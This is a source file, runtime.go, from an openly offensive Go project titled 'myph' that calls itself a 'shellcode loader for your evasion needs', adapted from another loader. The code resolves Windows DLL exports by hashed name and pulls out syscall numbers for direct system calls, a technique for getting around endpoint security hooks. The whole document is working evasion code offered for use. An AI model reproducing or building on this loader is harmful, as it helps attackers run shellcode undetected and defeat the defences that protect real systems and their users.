myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
runtime.go (1608B)
      1 package internals
      2 
      3 /*
      4    slightly adapted from hooka loader
      5 
      6    i could have just yoinked the code and used it like that but i plan to
      7    do different things in the future, which will need me to implement things
      8    differently, but this is an excellent base if you want to get started
      9    or use a more stable loader :)
     10 
     11 
     12 */
     13 
     14 import (
     15 	"encoding/binary"
     16 	"errors"
     17 
     18 	"github.com/Binject/debug/pe"
     19 )
     20 
     21 func rva2offset(pe *pe.File, rva uint32) uint32 {
     22 	for _, hdr := range pe.Sections {
     23 		baseoffset := uint64(rva)
     24 		if baseoffset > uint64(hdr.VirtualAddress) &&
     25 			baseoffset < uint64(hdr.VirtualAddress+hdr.VirtualSize) {
     26 			return rva - hdr.VirtualAddress + hdr.Offset
     27 		}
     28 	}
     29 	return rva
     30 }
     31 
     32 func HashedCall(callid uint16, argh ...uintptr) uintptr {
     33 	rvalue := runSyscall(callid, argh...)
     34 	return uintptr(rvalue)
     35 }
     36 
     37 func runSyscall(callid uint16, argh ...uintptr) (errcode uint32)
     38 
     39 func LoadFunctionFromHash(
     40 	hashing_algorithm func(string) string,
     41 	hashedName string,
     42 	dll *pe.File,
     43 ) (uint16, error) {
     44 
     45 	/* retrieve function exports */
     46 	exports, err := dll.Exports()
     47 	if err != nil {
     48 		return 0, err
     49 	}
     50 
     51 	for _, x := range exports {
     52 
     53 		/* hash every export & compare against base hash */
     54 		if hashing_algorithm(x.Name) == hashedName {
     55 
     56 			/* get in-memory offset from rva */
     57 			offset := rva2offset(dll, x.VirtualAddress)
     58 			dllBytes, err := dll.Bytes()
     59 			if err != nil {
     60 				return 0, errors.New("could not retrieve bytes from dll...")
     61 			}
     62 
     63 			buff := dllBytes[offset : offset+10]
     64 			sysId := binary.LittleEndian.Uint16(buff[4:8])
     65 			return sysId, nil
     66 		}
     67 	}
     68 	return 0, errors.New("Function not found")
     69 }